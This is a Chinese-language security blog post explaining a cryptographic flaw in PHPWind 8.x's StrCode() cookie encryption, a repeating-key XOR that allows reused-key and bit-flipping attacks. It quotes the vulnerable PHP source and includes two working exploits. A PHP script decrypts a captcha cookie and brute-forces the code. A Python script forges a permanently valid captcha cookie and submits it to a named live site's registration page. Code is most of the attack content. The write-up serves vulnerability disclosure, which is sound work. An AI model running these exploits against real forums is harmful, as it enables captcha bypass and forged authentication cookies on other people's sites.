PHPWind strcode() 加密算法设计缺陷

作者:aullik 来源http://hi.baidu.com/aullik5/blog/item/c95b9b23a06d17eed7cae2ef.html
由于时间匆忙,且家里发生了一些事情,所以这些都是2个月前的一些研究结果。代码也写得很粗糙,但基本能用。

描述

在PHPWind 8.x 中(甚至包括一些老版本),strcode()函数是核心的加密函数,用于很多地方,比如cookie的加密。但strcode()函数只是简单的实现了XOR加密,由于缺乏HMAC和IV,使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文,或者构造出任意明文的密文。

细节

解密任意密文

在common.php 中:

 

/**

* 加密、解密字符串

*

*@global string $db_hash

*@global array $pwServer

*@param $string 待处理字符串

*@param $action 操作,ENCODE|DECODE

*@return string

*/

function StrCode($string, $action =’ENCODE’) {

$action!= ‘ENCODE’ && $string = base64_decode($string);

$code= ”;

$key= substr(md5($GLOBALS[‘pwServer’][‘HTTP_USER_AGENT’] . $GLOBALS[‘db_hash’]), 8,18);

$keyLen= strlen($key);

$strLen= strlen($string);

for($i = 0; $i < $strLen; $i++) {

$k= $i % $keyLen;

$code.= $string[$i] ^ $key[$k];

}

return($action != ‘DECODE’ ? base64_encode($code) : $code);

}

 

那么,以破解验证码为例。在phpwind中,验证码是在ck.php中按照如下方式生成的:

 

functiongetCode($type=null,$set=true) {

empty($type)&& $type = $this->gdcontent;

$code= ”;

switch($type) {

case3:

global$db_charset,$lang;

require_onceGetLang(‘ck’);

$step= strtoupper($db_charset) == ‘UTF-8’ ? 3 : 2;

$len  = (strlen($lang[‘ck’])/$step) – 1;

for($i = 0; $i < $this->num; $i++) {

$code.= substr($lang[‘ck’],mt_rand(0,$len)*$step,$step);

}

$set&& $this->cookie($code);

if(strtoupper($db_charset) <> ‘UTF-8′) {

$code= $this->convert($code,’UTF-8’,$db_charset);

}

$code= explode(‘,’,wordwrap($code,3,’,’,1));

break;

case2:

$list= ‘BCEFGHJKMPQRTVWXY2346789’;

$len  = strlen($list) – 1;

for ($i = 0; $i <$this->num; $i++) {

$code.= $list[mt_rand(0,$len)];

}

$set&& $this->cookie($code);

break;

default:

$list= ‘2346789’;

$this->gdtype== 3 && $list .= ’15’;

$len= strlen($list) – 1;

mt_srand((double)microtime() * 1000000);

for($i = 0; $i < $this->num; $i++) {

$code.= $list{mt_rand(0, $len)};

}

$set&& $this->cookie($code);

}

return$code;

}

 

同时验证码的字符集只有24个,因为有些字符容易让用户产生混淆,比如字母”l”与数字”1″:

$list= ‘BCEFGHJKMPQRTVWXY2346789’;

 

最终将生成的验证码与时间戳绑定后写入Cookie中:

加密前的结构如下:

根据Reused Key Attack的攻击方法,知道明文1、密文1、密文2后,可以通过XOR操作推导出明文2。在验证码的应用中,有两个因素比较关键,一个是时间戳,一个是验证码的值。

 

但实际上有很多地方可以暴露时间戳。比如下面的地方:

 

HTTP/1.1 200 OK

Server: nginx/0.7.65

Date: Mon, 05 Sep 2011 03:08:29 GMT

Content-Type: image/png

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.10

Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/

Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

Pragma: no-cache

Cache-control: no-cache

Set-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/

 

 

获取了时间戳和已知的验证码1后,可以构造出服务端使用的明文;结合抓取到的这次密文,就可以推导出任意密文的明文了。

 

但明文中未直接包含验证码的值,而只是使用了验证码的MD5,因此要破解出验证码,需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多,只有4位、5位或6位,因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可(验证码从24个字符中产生)。

 

演示代码如下

 

<?php

 

$code1 = “QPG3W8”;

$t = 1320392525;

$str1 = base64_decode(“AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc”);

 

// cipher to crack

//加密方式: 时间戳.”\t\t”.md5(验证码.时间戳);

$str2 = base64_decode(“AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE”);

echo “TimeStamp is: “.$t.”\n”;

 

for ($jmp = 0; $jmp<20; $jmp++){

$x = ($t-10+$jmp).”\t\t”.md5($code1.($t-10+$jmp));

 

$guess = “”;

for ($i=0;$i<strlen($str1);$i++){

 

$guess .= chr(ord($x[$i])  ^ ord($str1[$i]) ^ ord($str2[$i]) );

}

//echo $guess.”\n”;

if ( is_numeric(substr($guess,0,10)) && preg_match(“/^[a-z0-9]*$/i”, substr($guess,-32) ) ){

//if ($jmp == 10){

echo “\nGuess Result is: “.$guess.”\n”;

break;

}

}

 

// 遍历出checkcode

$counter = 0;

$startTime = time();

$cksets = ‘BCEFGHJKMPQRTVWXY2346789’;

 

function bruteforce_guess($p){

 

global $counter;

global $cksets;

 

for ($a=0;$a<strlen($cksets);$a++){

$result = “”;

$result[0] =  $cksets[$a];

for($b=0;$b<strlen($cksets);$b++){

$result[1] = $cksets[$b];

for($c=0;$c<strlen($cksets);$c++){

$result[2] = $cksets[$c];

for($d=0;$d<strlen($cksets);$d++){

$result[3] = $cksets[$d];

for($e=0;$e<strlen($cksets);$e++){

$result[4] = $cksets[$e];

for($f=0;$f<strlen($cksets);$f++){

$counter ++;

$result[5] = $cksets[$f];

$result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5];

 

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

echo “CheckCode is: “.$result.”\n”;

return $result;

}

if ($counter % 300000 == 0){

echo “.”;

}

}

}

}

}

}

}

return False;

}

 

 

function random_guess($p){

global $counter;

global $cksets;

 

for(;;){

$result = ”;

$len  = strlen($cksets) – 1;

$counter ++;

for ($i = 0; $i < strlen($code1); $i++) {

$result .= $cksets[mt_rand(0,$len)];

}

if (md5($result.substr($p,0,10)) == substr($p,-32) ){

echo “CheckCode is: “.$result.”\n”;

break;

}

if ($counter % 300000 == 0){

echo “.”;

}

}

}

 

bruteforce_guess($guess);   // 遍历所有可能性

//random_guess($guess);     //随机生成方式遍历

 

echo “Counter is: “.$counter.”\n”;

echo “Spend Time: “.(time()-$startTime).” Seconds\n”;

 

function hex($str){

$result = ”;

for ($i=0;$i<strlen($str);$i++){

$result .= “\\x”.ord($str[$i]);

}

return $result;

}

 

?>

 

测试如下,要破解如下验证码:

攻击效果:

构造任意明文的密文

还是以验证码为例,构造一个永久有效的验证码。

 

在phpwind中,是通过以下过程验证一个验证码的:

 

 

1.      Post参数 gdcode 的值为 valueA

2.      解密cookie cknum的值,获取到原文为 valueB

3.      通过safecheck()函数验证valueB的时间戳是否合法,以及valueB的 md5 是否与valueA的计算结果一致

 

Global.php:

/**

* 校验验证码

*

*@param string $code

*/

function GdConfirm($code,$bool = null) {

Cookie(‘cknum’,”, 0);

if(!$code || !SafeCheck(explode(“\t”, StrCode(GetCookie(‘cknum’),’DECODE’)), strtoupper($code), ‘cknum’, 1800)) {

if($bool){

returnfalse;

}else{

Showmsg(‘check_error’);

}

}

returntrue;

}

 

Common.php:

/**

* 检查cookie是否过期

*

*@global int $timestamp

*@param array $cookieData cookie数据

*@param string $pwdCode 用户私有信息

*@param string $cookieName cookie名

*@param int $expire 过期秒数

*@param bool $clearCookie 验证错误是否清除cookie

*@param bool $refreshCookie 是否刷新cookie

*@return bool

*/

function SafeCheck($cookieData, $pwdCode,$cookieName = ‘AdminUser’, $expire = 1800,$clearCookie = true ,$refreshCookie =true) {

global$timestamp;

 if($timestamp- $cookieData[0] > $expire) {

Cookie($cookieName,”, 0);

returnfalse;

}elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) {

$clearCookie&& Cookie($cookieName, ”, 0);

returnfalse;

}

if($refreshCookie) {

$cookieData[0]= $timestamp;

$cookieData[2]= md5($pwdCode . $cookieData[0]);

Cookie($cookieName,StrCode(implode(“\t”, $cookieData)));

}

returntrue;

}

 

 

注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。

 

$timestamp– $cookieData[0] < 0

 

 

演示代码如下

 

import string

import urllib2

import urllib

#from urlparse import urlparse

import httplib

import base64

import md5

 

plaintext1 = “1320392525”+”\t\t”+md5.new(“QPG3W8″+”1320392525”).hexdigest()

ciphertext1 = base64.b64decode(“AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=”)

 

bigtime = “2000000000”

plaintext2 = bigtime+”\t\t”+md5.new(“2MY8W3″+bigtime).hexdigest()

ciphertext2 = ”

 

for i in range(0,len(plaintext1)):

ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i]))

 

cookie = base64.b64encode(ciphertext2)

 

url = “http://www.mtkjm.cn/register.php?verify=7f3e5fe4”

 

data = {‘action’:’regcheck’,’gdcode’:’2MY8W3′,’type’:’reggdcode’}

data = urllib.urlencode(data)

 

headers = {‘User-Agent’:’Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20′,

‘Cookie’:’be2f1_cknum=’+cookie}

 

req = urllib2.Request(url,data,headers)

f = urllib2.urlopen(req)

print f.read()

 

 

测试效果:(返回值为0说明验证通过,返回值为1是验证不通过)

 

 

 

 

 

 

 

评论关闭。